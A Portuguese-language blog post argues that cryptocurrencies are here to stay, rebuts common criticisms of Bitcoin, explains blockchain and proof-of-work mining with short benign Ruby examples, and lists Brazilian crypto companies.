Acredite ou não, as criptomoedas vieram para ficar, pelo menos por alguns anos. Lembro da sensação quando experimentei a internet comercial em 1993. É exatamente isso de novo: um território inexplorado com muito potencial e muita coisa que ainda não conseguimos imaginar.

Quem me acompanha também sabe que sou um grande defensor do uso da Razão. Odeio tanto o hype extremo quanto o FUD. Quem dissemina qualquer um dos dois está atrás de atenção fácil, sem nada útil a dizer de verdade. “Vai chegar a 100k logo! Compra agora!” ou “É uma bolha de tulipas, você é idiota se comprar!”. Os dois extremos são imbecis.

Educação é a base de tudo. O raciocínio é o ponto de partida.

Um aviso importante: não estou recomendando que ninguém compre criptomoedas sem fazer a sua própria pesquisa. Qualquer um que faz recomendações, a favor ou contra, está sendo irresponsável. Tudo que posso fazer é transmitir uma opinião pessoal e uma análise técnica. Esse é o meu papel.

Um exemplo: você sabia que a tão repetida Bolha das Tulipas nunca existiu de verdade? Pois é. Isso mostra como as pessoas são rápidas em compartilhar memes e fake news sem pesquisar nada.

E fica ainda mais hilário na área de tecnologia, onde vejo muitos “evangelistas” gritando sobre os “milagres” de abrir sua própria startup para “disrupar” o mercado com mais um derivado de Uber. Vamos ser diretos: qualquer coisa pode ser uma bolha.

O ouro só tem valor porque criamos uma história em torno dele. Ouro não se come. Ouro nem é um metal tão bom para trabalhar. Só criamos uma história e todo mundo concordou. O mesmo vale para qualquer coisa que consideramos “valioso”. O que é uma moeda fiduciária? É um pedaço de papel, inútil por si só. Mas se todos concordarmos com a mesma história, o “$100” impresso nele torna o papel supervalioso.

Tal é o poder da crença.

Tudo que fazemos exige algum nível de fé. Se presto um serviço para alguém, preciso ter fé de que serei pago no futuro. A confiança vem de um papel assinado ou mesmo de um simples e-mail, e da certeza de que as instituições vão me ajudar a cobrar esse pagamento se necessário.

É tudo histórias, fé e crenças. Se ainda não leu, recomendo fortemente o “Sapiens” de Yuval Harari para entender como as histórias moldam nossa história.

Dito isso, acho hilário que técnicos considerados “sérios” sejam rapidíssimos em gritar “é uma fraude!” ou “é uma bolha!” sem dedicar 1 segundo sequer para verificar os fundamentos e checar as fontes. Engenheiros deveriam saber fazer isso melhor, e essa preguiça expõe quem realmente sabe fazer análise e quem só segue multidões cegamente.

Não dá para dizer que eu estava errado se, por algum motivo, as criptomoedas implodissem amanhã do nada. Tampouco que os céticos estavam certos. Isso é importante: qualquer coisa no futuro é impossível de prever com certeza. Você joga com as probabilidades. Se não tem convicção, não aposte. Mas criar histórias para justificar a própria ignorância é decepcionante demais.

O interessante nos mercados financeiros é que eles ensinam as pessoas a lidar com a improbabilidade. Venho evangelizando Nassim Taleb neste blog há anos, desde o colapso econômico de 2008/2009. Aprendemos muito. Aprendemos sobre “Cisnes Negros” e como se tornar “Antifrágil” e, em boa hora, como ter “Skin in the Game”. Engenheiros deveriam ter muito mais esse tipo de conhecimento — chegariam a soluções muito melhores.

Respondendo a alguns FUDs específicos que tenho lido:

“É uma bolha!”

Pode ser. Como disse, o setor de tecnologia já é uma bolha para todo efeito. Basta alguns VCs se articularem e recuarem para deixar uma bomba explodindo atrás. Tudo é história, não importa o quanto você valorize algo. É simples assim.

Como operar dentro de uma bolha? De forma antifrágil. Antes de tudo, se você é iniciante, nunca, em hipótese alguma, invista tudo que tem. Invista apenas o que, se perder tudo, não te deixará na miséria. Isso é Investimento-101.

Tente comprar nas baixas e talvez vender nas altas. Ou planeje o longo prazo e faça HODL por alguns anos. Se precisa de retornos rápidos, aprenda a operar com ordens de stop-loss, por exemplo. Não tente ser mais esperto que o mercado se não tem experiência com trading. Ou tente, mas não reclame quando perder.

Perdas ou lucros, é sua responsabilidade e de mais ninguém — não “do mercado” nem “dos especuladores”. Todo mundo é adulto. Adultos assumem responsabilidade pelos próprios atos. Se perderam dinheiro em uma aposta que não entendiam, a culpa é deles.

“A mineração consome mais energia do que alguns países pequenos!”

Não importa. Antes de mais nada, não estão drenando energia de graça. Todo minerador paga por ela. Agora você vai entender por que é tão problemático quando governos interferem nos mercados livres. Se algum país subsidia a energia, a fórmula de oferta e demanda vai falhar. Óbvio.

E os técnicos deveriam saber disso melhor. Nunca houve banda suficiente nas linhas telefônicas para todo mundo no planeta se conectar à internet. Tivemos que evoluir muito a infraestrutura. Adicionamos cabos submarinos. Saímos dos modems discados para ISDN, para modems a cabo, e assim por diante.

A mineração baseada em proof of work consome uma quantidade enorme de energia, e com razão. Estamos trocando energia por integridade. Mas não é a única alternativa. Existem implementações de proof of stake começando a ser implantadas em outras alt-coins, com eficiência energética muito maior enquanto oferecem níveis similares de confiança no consenso.

O ponto é que a tecnologia evolui rápido e não dá para extrapolar o futuro com base no que temos hoje. É como alguém em 1993 dizendo “a internet comercial não pode acontecer porque as linhas telefônicas são lentas demais se algum dia quisermos streaming de vídeo”.

“O Bitcoin é centralizado demais, isso é perigoso!”

Se você é programador e ainda não sabe exatamente o que significa minerar, recomendo que leia primeiro meu artigo anterior sobre o assunto.

A mineração não é determinística. Mesmo com o melhor hardware do mundo, não há garantia de que você vai minerar o bloco primeiro. É mais como uma rifa.

Por isso os mineradores se organizam em pools, que dividem os ganhos entre os membros.

A preocupação é que 4 dos maiores pools — AntPool, ViaBTC, BTC.com e BTC.TOP — “controlam” 62% do hashpower mundial.

Diz-se que quem controla 51% do hashpower poderia lançar um ataque ao blockchain, sendo capaz de reescrever blocos do passado recente e permitir double-spend, por exemplo.

Mas na prática, não é tão simples assim.

Minerar custa caro. Um equipamento de USD 20.000 consegue minerar em torno de USD 11 por dia, sem descontar todos os custos, incluindo a depreciação das máquinas. Qualquer coisa além de minerar honestamente é muito arriscada e pouco lucrativa. O sistema foi construído de forma que os hackers teriam que gastar tanto dinheiro com riscos tão altos que é mais fácil simplesmente seguir as regras.

E novamente, as alt-coins e forks estão experimentando novas formas de tornar isso ainda mais difícil no futuro.

“A Visa processa milhares de transações por segundo. O Bitcoin jamais vai conseguir isso!”

De novo, argumento inútil. É como dizer “o ouro não pode ser trocado rápido o suficiente, nunca vai prestar”.

Já temos várias alt-coins como o Litecoin e outras tentando resolver o problema de transações rápidas. Considere que todas as alt-coins estão de certa forma atreladas ao Bitcoin, da mesma forma que o dólar já foi atrelado ao ouro. E se a chamada Lightning Network entrar em operação, poderemos cruzar fronteiras entre blockchains com muito mais facilidade.

A Visa não transaciona “cédulas” de dólar — ela faz transações virtuais em seus bancos de dados internos. Só quando o comerciante saca é que converte para dólares em espécie.

Dá para adicionar Bitcoin tranquilamente ao mix de opções num sistema de transações Visa. É assim que o cartão de crédito funciona hoje: você só paga 30 dias depois. E funciona. Qual é o problema?

E de novo: vamos resolver isso com o tempo. Deixa as tecnologias amadurecerem, a demanda aparecer e a solução vai surgir.

“Não tem nenhuma função social.”

Grande parte das críticas às criptomoedas vêm da população “elite” dos países do primeiro mundo. Se você é uma pessoa branca nos EUA com uma boa renda em dólares, ou alguém parecido na Europa com bastante Euro, sua principal preocupação é “o Bitcoin é lento demais para comprar no shopping” ou “as taxas de transação são altas demais para o meu café diário no Starbucks”. E aí começa a gritar que “o Bitcoin não tem função social”.

Mas isso é absurdo. Você não mora na América do Sul, na África, no Sudeste Asiático. Você não está na Venezuela, onde a moeda foi destruída pela ditadura vigente. Consegue imaginar a sua amada nota de dólar valendo menos que papel higiênico?

Você não mora no Zimbábue onde o exército tomou o poder. Não mora na Ásia, lugar sob ameaça constante de mísseis nucleares do ditador maluco Kim Jong-Un.

Então, tudo bem, não tem função social para a sua cota diária de açúcar no 7-Eleven. É lento demais para comprar refrigerante em galão e as taxas são altas demais. Mas se você mora em qualquer lugar do mundo onde o governo representa uma ameaça aos cidadãos, ter uma reserva de valor descentralizada e sem regulação governamental, que você pode tirar facilmente do país opressor, é algo que salva vidas. Mesmo em países como o meu, o Brasil, você não quer ter tudo em Reais caso candidatos a ditadores como Lula ou Bolsonaro realmente percam o juízo e deem um golpe.

“Não vejo sentido nisso. Simplesmente não vejo. E não me importo.”

Isso é a coisa mais honesta que se pode dizer — pelo menos assume a própria ignorância e a própria falta de interesse.

E há uma boa razão para isso. Em termos de tecnologia, os EUA seguem o que o Vale do Silício diz. E muitos outros países simplesmente repetem o que vem de lá. Então os técnicos estão acostumados a seguir o que Google, Facebook ou Apple estão dizendo.

Mas a tecnologia blockchain não veio diretamente deles. Não é um produto do Google. E pior: ela mexe com as frágeis crenças morais dessas pessoas. Elas acham normal receber enormes quantias de dinheiro de VC como “recompensa” pelo que “acreditam”, pela sua “cultura”, pelos seus “valores” arbitrários. Não acreditam em ganhar o próprio dinheiro. E mesmo que os VCs sejam do mercado financeiro, os técnicos desprezam Wall Street e as finanças. Os hipsters do Starbucks odeiam os traders de terno e gravata e suas supostas “táticas sujas” para ganhar dinheiro.

É hilário, no fim das contas todo mundo quer uma coisa e uma coisa só: mais dinheiro. Mas os hipsters são muito hipócritas para admitir isso. “Não quero dinheiro, quero disrupar o mercado”. Claro, pode continuar se dizendo isso.

Agora, considere que todo esse buzz das criptomoedas não vem do Ocidente. Vem todo da Ásia. Japão, Coreia do Sul, Cingapura, China — são eles que estão conduzindo o mercado. O Japão, como país, já regulamentou e aceitou o Bitcoin como moeda de verdade e detém sozinho 60% do market share.

Esse é um fenômeno fortemente impulsionado pela Ásia. E estamos só no começo.

Portanto, não estamos mais no cenário de “se isso acontecer”. Já aconteceu. Gigantes como o CME Group e a Nasdaq vão começar a oferecer produtos de Bitcoin. Estamos perdendo tempo discutindo questões triviais e idiotas que serão resolvidas no longo prazo.

As criptomoedas vieram para ficar. Minha recomendação para quem realmente valoriza o conhecimento: estude o assunto.

É uma pergunta justa. Quem conhece minimamente a arquitetura do blockchain conclui instintivamente que “não”, é praticamente improvável que alguém consiga quebrar. Na prática, é basicamente impossível.

O que me espanta é que a maioria dos programadores que conheço tem uma dificuldade enorme de superar o preconceito contra criptomoedas. Não faço ideia de onde vem esse preconceito, mas conheço pessoas muito inteligentes que resolvem os problemas mais difíceis de escalabilidade web e nunca deram uma olhada sequer no paper original de Satoshi Nakamoto — um documento curtíssimo descrevendo o blockchain.

Sério, o paper Bitcoin: A Peer-to-Peer Electronic Cash System é tão ridiculamente pequeno e fácil de entender que qualquer estudante de ciência da computação consegue acompanhar. Qualquer programador mediano lê e entende em uns 30 minutos.

O modelo mental mais simples é o de uma Lista Ligada, onde cada nó da lista é o que chamamos de Bloco. Cada Bloco é uma struct simples, com os ponteiros de anterior/próximo de sempre, e um corpo em estrutura de árvore (uma Merkle Tree, para ser preciso).

O detalhe que muda tudo: cada bloco carrega a assinatura hash do bloco anterior, formando uma “cadeia” segura. Daí o nome “block-chain”.

Em termos de ciência da computação, estamos falando de estruturas de dados de primeiro ano. Se você entende Lista Ligada e Árvore Binária, mais a coisa mais simples de criptografia — um Digest Hash como SHA256 —, pronto, você entende a espinha dorsal do banco de dados blockchain.

Porque é só um banco de dados. Um banco distribuído, para ser mais exato. Ou melhor: um banco distribuído bastante cru e simples. Não é eficiente, fica atrás de bancos NoSQL distribuídos sérios como Redis ou Cassandra. As capacidades de consulta são praticamente inexistentes além de encontrar um bloco pelo seu identificador.

Claro, o código-fonte do Bitcoin é mais sofisticado do que isso — mas o básico é tão simples que você não precisa de mais de 20 linhas de Ruby para replicar. Veja esta implementação de exemplo do Gerald Bauer:

require "digest"    # for hash checksum digest function SHA256

class Block

  attr_reader :index
  attr_reader :timestamp
  attr_reader :data
  attr_reader :previous_hash
  attr_reader :hash

  def initialize(index, data, previous_hash)
    @index         = index
    @timestamp     = Time.now
    @data          = data
    @previous_hash = previous_hash
    @hash          = calc_hash
  end

  def calc_hash
    sha = Digest::SHA256.new
    sha.update( @index.to_s + @timestamp.to_s + @data + @previous_hash )
    sha.hexdigest
  end


  def self.first( data="Genesis" )    # create genesis (big bang! first) block
    ## uses index zero (0) and arbitrary previous_hash ("0")
    Block.new( 0, data, "0" )
  end

  def self.next( previous, data="Transaction Data..." )
    Block.new( previous.index+1, data, previous.hash )
  end

end

Pois é.

Uma pergunta permanece: como essa estrutura simples vira um banco de dados “distribuído”?

Você precisa de uma “cópia-mestra” centralizada da qual todas as outras cópias replicam — ou precisa de alguma forma de “consenso” entre as cópias diferentes.

Como chegar a consenso entre nós aleatórios e sem controle espalhados pelo globo? Esse é o problema chamado “Tolerância a Falhas Bizantinas”, explicado e resolvido brilhantemente por Barbara Liskov e Miguel Castro, do MIT, em 1999.

Em resumo: imagine generais bizantinos, cada um com seu próprio exército, cercando uma cidade hostil. A decisão é atacar ou recuar. Mas todos os generais precisam tomar a mesma decisão, em consenso. Como chegar a esse consenso quando não há comunicação direta com todos os generais e, pior, quando alguns podem ser traidores ou agentes duplos?

Esse é exatamente o tipo de problema que temos aqui. Qualquer pessoa na internet pode baixar uma cópia do blockchain e verificar que os blocos são válidos e não adulterados, recomputando os hashes de cada bloco.

Mas como adicionar novos blocos e fazer os outros nós aceitarem o seu bloco?

Foi por isso que Satoshi adicionou o chamado “Proof of Work” à equação. Cada bloco está encadeado ao anterior por conter o hash do bloco anterior — e computar um hash digest é algo trivial hoje em dia.

Em Ruby, por exemplo:

Digest::SHA256.hexdigest("abcd")
# => "88d4266fd4e6338d13b845fcf289579d209c897823b9217da3e161936f031589"
Digest::SHA256.hexdigest("123")
# => "a665a45920422f9d417e4867efdc4fb8a04a1f3fff1fa07e998e86f7f7a27ae3"

Isso roda em uma fração de milissegundo.

Agora, e se eu pedir para você encontrar o hash que começa com uma certa quantidade de “zeros” no início?

Por exemplo:

# Quero encontrar 4 zeros ("0000") no hash:
Digest::SHA256.hexdigest("79026" + "123")
# => "0000559fb4a55f135c7db3d83405b86b4b63cd035993873a5b676bae08b64334"

Como eu sei que preciso acrescentar “79026” antes? Não sei. Preciso começar do zero e incrementar um a um até encontrar o hash no formato desejado.

Olhando o exemplo do Gerald, implementaríamos essa busca assim:

def compute_hash_with_proof_of_work( difficulty="00" )
  nonce = 0
  loop do
    hash = calc_hash_with_nonce( nonce )
    if hash.start_with?( difficulty )
      return [nonce,hash]    ## bingo! proof of work if hash starts with leading zeros (00)
    else
      nonce += 1             ## keep trying (and trying and trying)
    end
  end
end

def calc_hash_with_nonce( nonce=0 )
  sha = Digest::SHA256.new
  sha.update( nonce.to_s + "123" )
  sha.hexdigest
end

Um SHA256 simples leva entre 0.000010 e 0.000020 segundos (lembre: frações de milissegundo). Quanto tempo leva para encontrar aquele “79026” (o que chamamos de “nonce”)?

> puts Benchmark.measure { compute_hash_with_proof_of_work("0000") }
  0.190000   0.000000   0.190000 (  0.189615)

Consideravelmente mais: 0.18 segundos em vez de 0.000020. Podemos aumentar a variável de “dificuldade” para tornar a busca pelo nonce ainda mais trabalhosa. E é exatamente assim que o Bitcoin funciona: cada bloco ajusta a dificuldade de modo que o nó mais rápido leve em torno de 10 minutos para encontrar o hash do próximo bloco.

E isso, meu caro, é o que chamamos de “MINERAÇÃO”. O que um minerador faz é executar um loop, incrementando nonces sobre o digest do bloco, até encontrar o nonce correto.

Encontrado o nonce, o minerador adiciona o bloco ao blockchain e o propaga para os outros nós. Os outros nós fazem a verificação (agora de volta ao procedimento de 0.000020 segundos — rapidíssimo).

Quando os nós verificam e confirmam o nonce, todos adicionam o bloco ao topo do blockchain. Conforme outros mineradores continuam empilhando blocos sobre ele, o bloco vai se tornando “solidificado”. O bloco mais recente no topo é geralmente instável, mas com mais blocos em cima ele é considerado mais “garantido” — por isso a maioria das exchanges e serviços que aceitam Bitcoin aguarda as famosas “6 confirmações de blocos”.

Como a dificuldade é calibrada para que o nó mais rápido leve cerca de “10 minutos” para encontrar o nonce, um bloco é considerado “seguro” quando cerca de 1 hora passa e 6 blocos são adicionados depois dele.

Dá pra quebrar isso?

Agora você vai entender por que falamos em “hash power” quando o assunto é mineração.

Minerar é assinar e confirmar blocos no blockchain. É um serviço de manutenção — por isso você recompensa os mineradores com “taxas de transação” e alguns “satoshis” (frações de 1 Bitcoin) pelo trabalho. E por isso também o mecanismo se chama “Proof of Work”: quando alguém encontra um nonce, sabemos que essa pessoa passou por uma enorme quantidade de computação de hashes para chegar lá.

Daí também falamos em “hash rates” quando nos referimos às CPUs ou GPUs dos mineradores. Você precisa de uma capacidade absurda para minerar Bitcoins hoje em dia. Ninguém usa um PC caseiro para isso. É preciso hardware especializado, como os famosos AntMiners. Um AntMiner S9 de USD 1.500 consegue computar em torno de 14 TH/s.

Cada criptomoeda diferente do Bitcoin calcula hashes de forma distinta, então o hashrate varia de moeda para moeda.

O Hash Power total da rede de consenso do Bitcoin estava chegando próximo a 14 EH (exa-hashes, ou seja, milhões de tera-hashes).

Suponha que eu seja bilionário e queira trollar a comunidade Bitcoin adicionando hash power suficiente para superar o hash power total da rede. Precisaria comprar 1 milhão de AntMiner S9, um investimento de aproximadamente USD 1,5 bilhão! E isso sem contar a energia necessária para ligar e manter todas essas máquinas rodando.

Mesmo assim, sabe o que aconteceria? Lembra da variável de dificuldade que mencionei? Ela se ajusta novamente, garantindo que o próximo bloco continue levando 10 minutos para ser computado!

Então não: mesmo disposto a jogar USD 1,5 bilhão fora, você não vai quebrar. E é assim que o Bitcoin lida com os generais bizantinos nessa rede de consenso.

De curiosidade, perguntei lá se alguém conhecia empresas ou pessoas atuando nessa área aqui no Brasil, e a lista que recebi ficou bem interessante. Vale compartilhar as recomendações com todo mundo.

• Auctus - ICO de uma alt-coin
• Original My - proof-of-authenticity
• Laivon - parece que desenvolve apps mobile e alguns deles são trackers de cryptocurrencies
• OpenDime - mais um hardware stick pra wallet - dizem que tem brasileiros trabalhando lá também
• HugPay - uma forma de fazer remessas de/para o exterior sem precisar de conta bancária, com parceria com lotéricas (boa ideia)
• Blocko Ventures - não entendi bem se são uma empresa de serviços ou investidores em soluções com blockchain
• Kriptacoin - é mais uma alt-coin (vide comentários)
• BlinkTrade - parece uma infra para exchange (acho que a Foxbit e outras talvez usem - não confirmei isso) e foi fundada por brasileiros
• Stone Pagamentos - disse que está ajudando empresas a aceitar pagamentos em cryptocurrencies.

Quero conhecer mais empresas e profissionais brasileiros no ecossistema de bitcoin e cryptocurrencies em geral. Estou procurando em especial palestrantes que dominem o assunto e estejam fazendo coding hands-on, para palestrar (em inglês) na conferência que estou organizando, a THE CONF. Se souberem de alguém, mandem na seção de comentários.

Cheguei a pensar em escrever sobre blockchain ou cryptocurrencies, já que andei estudando e investindo bastante. Mas tudo que você precisa saber já está acessível em inúmeros blogs e sites, em inglês e em português, e não faz sentido explicar tudo de novo.

O que me interessa é saber onde estão as maiores dúvidas das pessoas sobre o assunto, para tentar explorar algum aspecto específico. Comentem sobre isso também.